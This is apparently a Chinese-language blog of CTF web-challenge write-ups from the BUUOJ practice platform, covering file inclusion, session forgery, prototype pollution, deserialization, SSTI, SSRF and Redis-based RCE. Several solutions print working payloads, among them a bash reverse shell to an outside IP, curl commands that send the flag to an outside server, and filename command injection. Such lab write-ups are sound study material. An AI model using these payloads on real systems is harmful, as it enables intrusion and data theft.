[N1CTF 2018]eating_cms
2021.1.23
考点
伪协议,文件包含,代码审计
做题步骤
一个登陆页面 没发现什么特别,测试也没发现 注入漏洞。于是扫下目录。
发现有个 login.php 就是对应的 index.php内容,没有特殊的信息,猜测 可能有个 注册页面
发现存在这个页面
直接注册一个账号登录
登录来到 user.php
根据路由结构 猜测存在文件包含测试下。
php://filter/read=convert.base64-encode/resource=
去得到我们能知道的 php 文件的源码。
Index.php
1 |
|
function.php
1 |
|
Config.php
1 |
|
User.php
1 |
|
Guest.php
1 |
|
然后没有发现什么特别的文件。于是我们先进行代码审计。
在 function.php
中发现
有个过滤函数
我们发现这里的验证之前 用到的 是 parse_url()
函数。所以这里我们可以在 url 中加 \\
从而实现函数绕过。
http://d26c27aa-f5e7-4848-ad61-3be6f230fe5d.node3.buuoj.cn//user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg
得到内容
1 |
|
发现有个 hit 我们继续访问。m4aaannngggeee
得到 upload.html
1 |
|
访问是一个文件上传路径
点击上传文件后执行的 upllloadddd.php
但是没有发现这个文件 我们利用文件包含读取下这个文件的内容那个
http://d26c27aa-f5e7-4848-ad61-3be6f230fe5d.node3.buuoj.cn//user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd
1 |
|
发现里面有个危险函数,可以存在代码执行。
先执行 system 后面才回判断文件上传的类型。
我们自己写一个提交表单
1 |
|
修改 文件名为 ;ls
发现命令执行了。于是看看能不能看到 flag文件。
/
被过滤,我们利用 ..
来实现切换目录 ;cd ..;ls
查看 flag_233333
得到 flag ;cd ..;cat flag_233333
[HarekazeCTF2019]Easy Notes
2021.1.23
考点
session 反序列化
做题步骤
有 Home
Get flag
login in
三个选项
点击 get flag
说明要先登录。
题目是给了源码的
查看 flag.php
我们知道 flag是被写道 环境变量中 判断是不是 is_admin()
找到这个函数
猜测应该是一个 session 伪造的操作
去看看 session 的 操作有哪些
找到 session 的保存位置 /var/www/tmp
然后发现 在 export.php
中有对这个目录的操作
且这里 会在同一目录创建文件,且有一个 str_replace() 会将 .. 替换为空
这里可以利用 type=.
利用
filename=sess_
伪造一个session 文件。
这里的php session 是默认模式,也就是我们的 php 模式。
所以这里是可以够着对应伪造的 sess_xxxxxxxx 的。
伪造的 session 内容应该是 |N;admin|b:1;
是利用的 用户名 + -xxxxxxxx.
+ type 来拼接的 所以我们要创建用户名为 sess_
然后访问 export.php?type=.
这样我们会得到 一个 sess_-xxxxxx
文件,也就是伪造的 session 文件。
然后修改我们的 session 为 -xxxxxxxx
然后访问 Get flag
得到flag
然后在网上学习到利用 脚本来
1 | import re |
[SWPU2019]Web3
2021.1.24
考点
Session 伪造
unzip 软连接 文件读取
做题步骤
可以登录。登录后,有个上传,但是上传有限制。
这里可能是和 session 有关
解密一下看看
解密脚本
1 | import sys |
解密得到结果
会记录我们的 password username 还有登录状况和 id值。
这个id 值可能计时 我们是否有权限的限定。
想办法伪造session 这里我们伪造,需要先知道对应的 key是多少
一直没找到
查看wp 知道要访问不存在的 页面会返回一个 key
解密得到 key
keyqqqwwweee!@#$%^&*
伪造一个 Key
伪造后成功进入 upload 页面
上传文件后 提示 只能是 zip
查看源码发现 有 注释,
1 |
|
/upload
路由
上传一个 zip 文件。
上传的为 压缩的 图片
服务器进行解压
文件名不能有 /
/showflag
路由
这个路由不能调用
但是给出了我们对应的 flag 的位置 ./flag/flag.jpg
解压命令利用的 cmd = "unzip -n -d "+path+" "+ pathname
这里对我们上传文件进行操作的命令 就是这个 unzip函数。 且这是一个 python 题目尝试利用包含上传 php 文件是不行的
利用软连接+unzip 解压得到文件内容
上传这个文件。
[网鼎杯 2020 青龙组]notes
2021.1.24
考点
做题步骤
题目给了源码
审计代码。发现一个很重要的点
/status
路由中 找到一个函数调用
这里会调用 commands
的数组内容,这里首先想到的就是 利用 原型链污染
然后我们要找的是 怎么才能去修改 __proto__
发现有一个 undefsafe
可能会利用这个函数。
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
发现是可以利用实现 原型链污染的
这个点在 /edit_notes
里面
利用 payload
利用 外带。
1 | import requests |
得到 flag
或者利用 注意空格 和 & 要进行编码
id=__proto__.a&author=bash+-i+>%26+/dev/tcp/47.95.xxxxxx/8888+0>%261&raw=123
反弹shell 得到 flag
[watevrCTF-2019]Pickle Store
2021.1.25
考点
python 反序列化
做题步骤
一个 购买网页
刚开始我们有 500
最后一个 是 flag 但是 价格很高。需要 1000这里猜测是有一个伪造
抓包看到 购买的时候 是传的参数是对应的 id
返回有个 set-session
没看到什么有用信息。扫下目录
但是没有扫到什么东西。
session base64 解密 有可以看到的 关键词
有个 money
要去百度下。百度题目名字发现 Pickle
应该是 python 反序列化的解密看看session
这样我们就能看到对应的内容了
https://www.anquanke.com/post/id/188981
exp
1 | import base64 |
接着我们利用得到的 值 修改session 然后去购买一个物品
这就就会对我们的 session 解密从而 反弹shell
[RCTF 2019]Nextphp
2021.1.25
考点
php7.4.0 预加载
https://zhzhdoai.github.io/2019/05/21/RCTF-nextphp%E9%A2%98%E8%A7%A3/
https://blog.ainassine.cn/blog/public/2019/05/22/rctf-2019-writeup
https://althims.com/2019/06/24/RCTF-nextphp/
FFI 绕过 disable_functions
做题步骤
1 |
|
直接 get 加 eval
这种不肯能这么简单,所以我们需要先看看 phpinfo
得到版本
然后看看有没有 什么 特别的信息。
发现有一个 php 文件
我们要查看这个文件,利用函数 show_source
/?a=show_source(%27preload.php%27);
1 |
|
然后就没有头绪了。
看了下 wp
这里用到的是 php7.4.0 的新特性预加载。可以利用php.ini
开启opcache
预加载。
Phpinfo 里面 可以知道预加载了 preload.php
被预加载的文件会被整个执行或者加载其他的文件。也就是说我们可以通过preload.php
执行命令,而通过serialize
函数我们可以触发其执行。
可以调用 preload.php
里面的 反序列化,但是我们还要绕过 disable_functions
利用加载的 FFi 模块
可以利用 FFI 调用 libc 中的 函数
根据上面的 class A
的代码。我们可以够着对应的payload
1 | final class A implements Serializable { |
然后给 内容赋值
1 | private function run () { |
1 | ?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');$a->__serialize()['ret']->system('curl 47.95.xxxxxs:8888/`cat /flag |base64` '); |
得到后解密
[RootersCTF2019]babyWeb
2021.1.25
考点
做题步骤
开局一个报错信息。
但是访问 index.php 页面就是好的
过滤了:union
、sleep
、'
、"
、or
、-
、benchmark
首先想到测试一下万能密码 直接就出 flag 了
?search=1 || 1=1 limit 1
[FireshellCTF2020]Caas
2021.1.26
考点
利用编译报错得到 flag
做题步骤
打开网页
输入后会报错
因为有编译 首先想到的 是 网鼎杯里面的 一个利用 #include "/flag"
利用报错信息得到 flag的方法
得到 flag
[NESTCTF 2019]Love Math 2
2021.1.26
考点
做题步骤
有源码
1 |
|
构建 命令执行
不能含有空格,\t,\r,\n,\,单双引号,中括号
且 利用的是 whitelist 里面的字符
利用里面的方法 构造出一句话。
这里首先想到的 是利用异或 看看 异或能不能使用
可以使用
1 | $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; |
最后使用
c=$pi=${hexdec^decoct(31737)};$pi{0}($pi{1});
post 传入 0=system&1=cat /flag
[GYCTF2020]Node Game
2021.1.27
考点
nodejs
https://0xgeekcat.github.io/Node-js%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0-GYCTF2020-Node-Game.html
拆分攻击(伪造 http 头
做题步骤
首先得到 源代码,直接点击
1 |
|
有个路由 /file_upload
这个 路由,需要我们检测ip 为 127.0.0.1
/core
可以用来够着 ssrf 所以,我们可以利用来绕过 127.0.0.1 的检测
且我们发现 我们可以利用 拆分攻击伪造对应的 file_upload
上传对应的 pug 文件,然后访问让他能够实现解析,我们自己上传的 Pug 文件包含我们要查看的 flag 文件,这样解析后 就能得到flag 文件了。
https://pugjs.org/zh-cn/language/includes.html
利用 Pug 的文件包含。
1 | import urllib.parse |
[NPUCTF2020]验证🐎
2021.1.29
考点
Nodejs
做题步骤
得到源码
1 | const express = require('express'); |
有一个 eval 函数的调用
跟路由下 会调用到这个函数
正则匹配中 只能出现 ()+\-*/&|^%<>=,?:
想要进行调用要绕过 前面的 if 语句
first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])
使用弱类型转换就能实现
first=1 second=[1] md5处理是利用 + 两个数字会相等。
这样我们就能绕过从而 调用后面的 safeEval
根据过滤 我们知道,可以调用 Math
对应的函数,
我们要调用系统命令
利用· global.process.mainModule.constructor._load('child_process').exec('calc')
以为我们 可以使用 => 所以我们要利用这两个符号构造 匿名函数,
根据过滤我们还可以输入数字。
所以我们要利用方法构造对应的匿名函数调用系统命令实现函数调用
这里我们要够着的函数
看了下 wp
https://z3ratu1.github.io/%5BNPUCTF2020%5D%E9%AA%8C%E8%AF%81%F0%9F%90%8E.html
http://wh1sper.com/npuctf2020_wp/
构造
1 | (Math+1).constructor.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41) |
payload content-Type改为application/json
1 | {"e":"(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)","first":"1","second":[1]} |
首先构造 function
类型
根据wp 的
1 | Math=Math+1 |
从而构造出调用。
[GWCTF 2019]你的名字
2021.2.3
考点
ssti
利用
做题步骤
输入东西会直接显示我们的名字。直接会想到魔板注入
扫描目录没有发现什么东西 是一个 index.php 但是测试发现应该是 python的 ssti 注入
1 | {{ 双大括号内包裹的内容 }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。 |
当我们输入 {{7*7}}
会报错
看了 wp 才知道这个应该是 他自己写的一个报错误导
发现过滤了
1 | 'import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for',' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local','self', 'item', 'getitem', 'getattribute', 'func_globals', 'config' |
上面的内容会被替换为 空
我们可以利用双写绕过
1 | {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclaconfigsses__()[59].__init__.func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl xxxxx/ -d `cat /flag_1s_Hera`;') %}1{% endiconfigf %} |
直接外带内容
服务器上监听 对应端口
[XDCTF 2015]filemanager
2021.2.4
考点
代码审计
文件泄露。
做题步骤
测试文件上传漏洞,发现没有成功。
于是扫目录
下载源码审计
主要是 upload.php 和 rename.php
upload.php
1 |
|
rename.php
1 |
|
首先我们要够着能在 rename 里面利用且 利用里面的
upload
sql 语句修改extension
为空的文件名这样我们在执行的upload 的时候就能利用。
且下次修改文件时就能直接给文件名字为 xxx.php文件
语句为
1
"update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}"
这里我们要构造的 文件名应该为。
',extension='.txt
等,这样构造出来我们运行的时候的sql 语句为1
"update `file` set `filename`='{$req['newname']}', `oldname`='',extension='' where `fid`={$result['fid']}"
因为这里利用的是 fid 来匹配的 对应文件数据库,所以这里我们可以不管 oldname。
这样运行后对应 filename 的文件的
extension
为空因为我们的这个 extension 已经为空,我们再次去修改文件名的时候,就能实现修改文件名为 xxx.php+
file['extension']
因为file['extension']
为空 所以文件会被修改为xxx.php
上传修改名字为 shell.txt
这个时候 后台已经将 extension 置空
这个 txt 是之前查询的结果
然后再上传一个 shell.txt 文件。
然后修改 shell.txt 文件 为 shell.php
一句话链接 得到flag
为什么要上传两个文件。
因为 upload 和 rename 不是同步的。
你只是修改 ',extension='.txt
为 shell.txt 这个时候
我们修改的文件名字为 shell.txt.txt
数据库里面的名字为 filename=shell.txt extension=0
这个时候是不同步的。
一种方法是上传一个 shell.txt 文件进行绕过修改。
还有一种是修改 ',extension='.txt
为 shell.txt.txt
这样我们的 数据库中的文件名和 upload 文件夹下的 文件名就是对应的。
[watevrCTF-2019]Supercalc
2021.2.4
考点
做题步骤
存在页面计算
测试 {{7*7}}
可能是 SSTI
扫下目录
没有东西
因为是个计算。我们测试 一些不能出现的 计算 比如除数为0 啊之类的
发现报错
报错也会带出我们的输入 1/0 那ssti 注入这里可以测试吗?
输入 1/0{{7*7}}
会报错
然后查看wp 知道可以利用 # 绕过
成功执行
这里一般我们会去查看 config 的内容
发现里面有个 SECRET_KEY
猜测这里应该有 flask 的session 伪造的事。
发现我们的 session 解密出来发现里面保存的是我们的 输入的 运行内容
所以我们看看能不能构造这里的内容来实现 ssti 。
1 | py3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{\"history\": [{\"code\": '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}" |
修改session 后得到 flag
[CSAWQual 2016]i_got_id
2021.2.4
考点
Perl 后端。
做题步骤
在 HOME 中看到
应该是 Perl
然后分别是
表单提交
文件上传
可以知道是 perl 文件上传 且上传后会显示我们的文件内容。
不会了
https://blog.csdn.net/weixin_44037296/article/details/112283424
对于读文件,如果传入一个
ARGV
的文件,那么Perl会将传入的参数作为文件名读出来。
所以,在上传的正常文件前加上一个文件上传项ARGV
,然后在URL中传入文件路径参数,就可以读取任意文件。
[RootersCTF2019]ImgXweb
2021.2.9
考点
做题步骤
注册 admin 发现已经存在这个用户
然后上传文件 可以上传 php 文件, 图片形式显示。访问php 文件会直接下载 说明不能解析。
存在 session_id
是 jwt 加密
存在 user
且我们注册 admin 账户的时候 已经存在。这里可能需要伪造session 为 admin账户。
扫下目录
有个 robots.txt
有问文件
访问
利用这个字符串加密
替换session 访问主页
发现有个 flag.png
访问 查看源码得到 flag
[网鼎杯 2020 玄武组]SSRFMe
2021.2.13
考点
Ssrf 内网
redis 主从复制 getshell
做题步骤
得到源码
1 |
|
首先知道 有个 hint.php 我们要想办法去查看里面的内容。
我们传入的 参数会经过 safe_request_url()
函数处理
然后调用 check_inner_ip()
函数 判断是不是 内网 ip
首先想到的是 使用 ssrf
绕过方法为
https://www.anquanke.com/post/id/86527
首先我们去得到 hint.php
当 php_url_parse 认为 google.com 为目标的同时,curl 认为 evil.com:80 是目标。
这里我们可以利用
http://0.0.0.0/hint.php
http:///127.0.0.1/hint.php
这里是利用他的 解析错误。parse_url
会返回 false
1 |
|
知道 这里 有个 redispass 为 root
所以应该是会 利用到 redis 的 写 shell
因为这里 用到的是 file_put_contents
所以应该是可以利用 伪协议来写 shell
但是好像没有写 权限。 这里 我们利用 redis 主从复制来 RCE
1
2
3
4
5
6
7 1.本地编译好外部扩展即so文件
2.把so文件转码存入本地redis数据库
3.到目标服务器上设置主从关系,主服务器指定我们的本地机子
4.待同步后,设置备份路径和备份文件名(xx.so)
5.开始同步,备份数据库
6.然后加载备份数据库
7.然后就可以通过redis执行命令反弹shell了
在 服务器中 下载
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
利用 redis-ssrf.py
修改
生成的 payload url 编码。
然后 vps 里面运行 rogue-server.py
1 | http://9af69796-5d15-47bc-a599-c22972f5b994.node3.buuoj.cn/ |
访问得到 flag
[pasecactf_2019]flask_ssti
2021.2.14
考点
Ssti 绕过 '_.
https://www.jianshu.com/p/a736e39c3510
做题步骤
对应部分源码
1 | def encode(line, key, key2): |
先进行测试
存在 ssti 注入
首先要去找到 object 类。 然后想办法去的看看有没有能系统调用的函数能够引用
发现这些 符号都被规律了 _ . '
利用 对应的 hex 码进行绕过 单引号可以利用 “”
“\x5f”是字符 ”_“,”\x2E”是字符 “.”
1 | {{()["\x5f\x5fclass\x5f\x5f"]}} |
获得类
继续向上获取
获得对应值 object 类
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"]}} |
然后获取全部子类
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}} |
读取文件可以这样写(_frozen_importlib_external.FileLoader’的get_data()方法,第一个是参数0,第二个文件名)
1 | {{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}} |
得到 字符串
1 | import random |
因为我们知道 文件打开了 但是没有关闭就 删除了文件流
所以我们读取文件流就能得到 flag
利用
1 | {{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}} |
[BSidesCF 2020]Hurdles
2021.2.15
考点
http 头
https://guokeya.github.io/post/-jTl-F23v/
做题步骤
按照要求一次修改 发送包
新:
1 | HTTP基本认证 - HTTP Basic Authentication |
传入 Authorization: Basic cGxheWVyOjE=
cGxheWVyOjE= 为 player:1
1 | PUT /hurdles/!?get=flag&%26%3d%26%3d%26=%2500%0a HTTP/1.1 |
virink_2019_files_share
2021.2.21
考点
目录穿透
做题步骤
网页是一个 拧魔方的 页面 。交互只有 玩魔方,
于是就扫目录。抓包。
抓包没什么 提示 flag 位置
扫目录。
挺多目录。查看目录对应文件内容
upload 存在文件上传 但是没有实现文件上传功能
Uploads 文件目录
存在一个图片 点击会下载
访问的 路由 是
http://5de34eb7-6ca7-48b2-b9d4-877e0bf0d83f.node3.buuoj.cn/preview?f=favicon.ico
可以试试 这个 能不能 出现 目录穿透。
我们输入的 ../../ 发现被过滤了
我们利用双写看看
preview?f=....//....//....//....//....//....//etc..//passwd
得到 内容
前面说 flag flag in f1ag_Is_h3re
preview?f=....//....//....//....//....//....//f1ag_Is_h3re..//flag
得到 flag
[De1CTF 2019]Giftbox
2021.2.24
考点
sql 注入
open_basedir 绕过
https://www.zhaoj.in/read-6170.html#0x03Giftbox
做题步骤
打开是一个 macos 终端
Usage.md 中 告诉我们对应的指令
还可以利用 Help 指令查看存在的 指令
运行 md 里面的指令后 发现 必须要先登录
首先 我们需要登录,这里看看怎么登录 admin 账号
测试是否 能利用 sql 注入。
发现是可以进行注入的。注入点在 username。
我们抓包看看情况。
发送的数据包 包括。我们的输入 还有一个 totp 的值。
这个 totp 好像是一个 时间限制
我们利用上面的 sql 注入的时候,害需要获得 totp 当前值才能 写出 爆破 exp。
我们要找到对应点 totp 生成数据的位置
查找有没有 需要的数据。
然后看到 main.js
有个提示,就是我们对应的 totp 的算法的位置
压缩包 里面是程序对应的 py 代码。
且在 main.js 中 找到了 对应的 Url 请求的 链接
这里我们就可以利用 python 的
Pyotp 库来生成对应的 totp值
利用 flask 搭建一个 中间利用
1 | import pyotp |
然后我们 对这个 本地 服务 跑就行
./sqlmap.py -u "http://127.0.0.1:5000/username=admin*" -D giftbox -T users -C password --dump --technique B
用 sql map 跑出来
根据密码 提示 新指令 sh0w_hiiintttt_23333
进行登录
然后 发现
这里面的命令
1 | targeting code position $code = "position" |
尝试调用 phpinfo
运行 返回内容在保存后 打开就能看到返回的phpinfo 的内容了
看一下里面的关键内容
open_basedir disablefunction
我们要查看的 是 /flag 文件
所以 这里需要利用绕过 open_basedir 的方法
1 | chdir('js');ini_set('open_basedir','..');chdir('..');chdir('/');ini_set('open_basedir','/');printf(file_get_contents('flag')); |
1 | targeting a chr |